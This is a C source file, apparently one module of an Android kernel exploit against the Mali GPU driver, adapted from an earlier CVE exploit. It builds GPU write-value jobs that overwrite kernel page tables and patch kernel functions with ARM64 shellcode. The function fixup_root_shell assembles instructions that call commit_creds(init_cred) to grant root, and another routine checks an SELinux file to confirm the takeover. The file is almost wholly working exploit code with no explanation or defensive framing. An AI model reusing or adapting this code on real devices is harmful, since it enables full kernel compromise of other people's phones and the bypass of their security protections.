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mem_write.c
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mem_write.c
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#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
#include "stdbool.h"
#include <sys/syscall.h>
#include <stdint.h>
#include "mem_write.h"
#include "mempool_utils.h"
#define ADRP_INIT_INDEX 0
#define ADD_INIT_INDEX 1
#define ADRP_COMMIT_INDEX 2
#define ADD_COMMIT_INDEX 3
// void* map_gpu(int mali_fd, unsigned int va_pages, unsigned int commit_pages, bool read_only, int group) {
uint64_t map_gpu(int mali_fd, unsigned int va_pages, unsigned int commit_pages, bool read_only, int group) { // 32bit mod from CVE-38181
union kbase_ioctl_mem_alloc alloc = {0};
alloc.in.flags = BASE_MEM_PROT_CPU_RD | BASE_MEM_PROT_GPU_RD | BASE_MEM_PROT_CPU_WR | (group << 22);
int prot = PROT_READ;
if (!read_only) {
alloc.in.flags |= BASE_MEM_PROT_GPU_WR;
prot |= PROT_WRITE;
}
alloc.in.va_pages = va_pages;
alloc.in.commit_pages = commit_pages;
mem_alloc(mali_fd, &alloc);
/*
void* region = mmap(NULL, 0x1000 * va_pages, prot, MAP_SHARED, mali_fd, alloc.out.gpu_va);
if (region == MAP_FAILED) {
err(1, "mmap failed");
}
return region;
*/
return alloc.out.gpu_va;
}
static inline uint32_t lo32(uint64_t x) {
return x & 0xffffffff;
}
static inline uint32_t hi32(uint64_t x) {
return x >> 32;
}
uint32_t write_adrp(int rd, uint64_t pc, uint64_t label) {
uint64_t pc_page = pc >> 12;
uint64_t label_page = label >> 12;
int64_t offset = (label_page - pc_page) << 12;
int64_t immhi_mask = 0xffffe0;
int64_t immhi = offset >> 14;
int32_t immlo = (offset >> 12) & 0x3;
uint32_t adpr = rd & 0x1f;
adpr |= (1 << 28);
adpr |= (1 << 31); //op
adpr |= immlo << 29;
adpr |= (immhi_mask & (immhi << 5));
return adpr;
}
void fixup_root_shell(uint64_t init_cred, uint64_t commit_cred, uint64_t read_handle_unknown, uint32_t add_init, uint32_t add_commit, uint32_t* root_code) {
uint32_t init_adpr = write_adrp(0, read_handle_unknown, init_cred);
//Sets x0 to init_cred
root_code[ADRP_INIT_INDEX] = init_adpr;
root_code[ADD_INIT_INDEX] = add_init;
//Sets x8 to commit_creds
root_code[ADRP_COMMIT_INDEX] = write_adrp(8, read_handle_unknown, commit_cred);
root_code[ADD_COMMIT_INDEX] = add_commit;
root_code[4] = 0xa9bf7bfd; // stp x29, x30, [sp, #-0x10]
root_code[5] = 0xd63f0100; // blr x8
root_code[6] = 0xa8c17bfd; // ldp x29, x30, [sp], #0x10
root_code[7] = 0xd65f03c0; // ret
}
static uint64_t set_addr_lv3(uint64_t addr) {
uint64_t pfn = addr >> PAGE_SHIFT;
pfn &= ~ 0x1FFUL;
pfn |= 0x100UL;
return pfn << PAGE_SHIFT;
}
static inline uint64_t compute_pt_index(uint64_t addr, int level) {
uint64_t vpfn = addr >> PAGE_SHIFT;
vpfn >>= (3 - level) * 9;
return vpfn & 0x1FF;
}
void write_to(int mali_fd, uint64_t gpu_addr, uint64_t value, int atom_number, enum mali_write_value_type type) { // 32bit mod from CVE-38181
// void* jc_region = map_gpu(mali_fd, 1, 1, false, 0);
uint64_t jc_region = map_gpu(mali_fd, 1, 1, false, 0);
struct MALI_JOB_HEADER jh = {0};
jh.is_64b = true;
jh.type = MALI_JOB_TYPE_WRITE_VALUE;
struct MALI_WRITE_VALUE_JOB_PAYLOAD payload = {0};
payload.type = type;
payload.immediate_value = value;
payload.address = gpu_addr;
uint32_t* section = (uint32_t*)mmap64(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mali_fd, jc_region);
if (section == MAP_FAILED) {
err(1, "mmap failed");
}
// MALI_JOB_HEADER_pack((uint32_t*)jc_region, &jh);
// MALI_WRITE_VALUE_JOB_PAYLOAD_pack((uint32_t*)jc_region + 8, &payload);
// uint32_t* section = (uint32_t*)jc_region;
MALI_JOB_HEADER_pack((uint32_t*)section, &jh);
MALI_WRITE_VALUE_JOB_PAYLOAD_pack((uint32_t*)section + 8, &payload);
struct base_jd_atom_v2 atom = {0};
atom.jc = (uint64_t)jc_region;
atom.atom_number = atom_number;
atom.core_req = BASE_JD_REQ_CS;
struct kbase_ioctl_job_submit submit = {0};
submit.addr = (uint64_t)(&atom);
submit.nr_atoms = 1;
submit.stride = sizeof(struct base_jd_atom_v2);
if (ioctl(mali_fd, KBASE_IOCTL_JOB_SUBMIT, &submit) < 0) {
err(1, "submit job failed\n");
}
usleep(10000);
}
uint8_t write_data(int mali_fd, uint64_t data, uint64_t* reserved, uint64_t size, uint64_t value, enum mali_write_value_type type, uint64_t reserved_size, uint8_t atom_number) {
uint64_t data_offset = (data + KERNEL_BASE) % 0x1000;
uint64_t curr_overwrite_addr = 0;
for (int i = 0; i < size; i++) {
uint64_t base = reserved[i];
uint64_t end = reserved[i] + reserved_size * 0x1000;
uint64_t start_idx = compute_pt_index(base, 3);
uint64_t end_idx = compute_pt_index(end, 3);
for (uint64_t addr = base; addr < end; addr += 0x1000) {
uint64_t overwrite_addr = set_addr_lv3(addr);
if (curr_overwrite_addr != overwrite_addr) {
LOG("overwrite addr : %llx %llx\n", overwrite_addr + data_offset, data_offset);
curr_overwrite_addr = overwrite_addr;
write_to(mali_fd, overwrite_addr + data_offset, value, atom_number++, type);
usleep(300000);
}
}
}
return atom_number;
}
uint8_t write_func(int mali_fd, uint64_t func, uint64_t* reserved, uint64_t size, uint32_t* shellcode, uint64_t code_size, uint64_t reserved_size, uint8_t atom_number) {
//void write_func(int mali_fd, uint64_t func, uint64_t* reserved, uint64_t size, uint32_t* shellcode, uint64_t code_size, uint64_t reserved_size, uint8_t atom_number) {
uint64_t func_offset = (func + KERNEL_BASE) % 0x1000;
uint64_t curr_overwrite_addr = 0;
for (int i = 0; i < size; i++) {
uint64_t base = reserved[i];
uint64_t end = reserved[i] + reserved_size * 0x1000;
uint64_t start_idx = compute_pt_index(base, 3);
uint64_t end_idx = compute_pt_index(end, 3);
for (uint64_t addr = base; addr < end; addr += 0x1000) {
uint64_t overwrite_addr = set_addr_lv3(addr);
if (curr_overwrite_addr != overwrite_addr) {
// LOG("overwrite addr : %lx %lx\n", overwrite_addr + func_offset, func_offset);
LOG("overwrite addr : %llx %llx\n", overwrite_addr + func_offset, func_offset);
curr_overwrite_addr = overwrite_addr;
for (int code = code_size - 1; code >= 0; code--) {
write_to(mali_fd, overwrite_addr + func_offset + code * 4, shellcode[code], atom_number++, MALI_WRITE_VALUE_TYPE_IMMEDIATE_32);
}
usleep(300000);
}
}
}
return atom_number;
}
uint8_t cleanup(int mali_fd, uint64_t pgd, uint8_t atom_number) {
write_to(mali_fd, pgd + OVERWRITE_INDEX * sizeof(uint64_t), 2, atom_number++, MALI_WRITE_VALUE_TYPE_IMMEDIATE_64);
return atom_number;
}
int run_enforce() {
char result = '2';
sleep(3);
int enforce_fd = open("/sys/fs/selinux/reject_unknown", O_RDONLY);
read(enforce_fd, &result, 1);
close(enforce_fd);
LOG("result %d\n", result);
return result;
}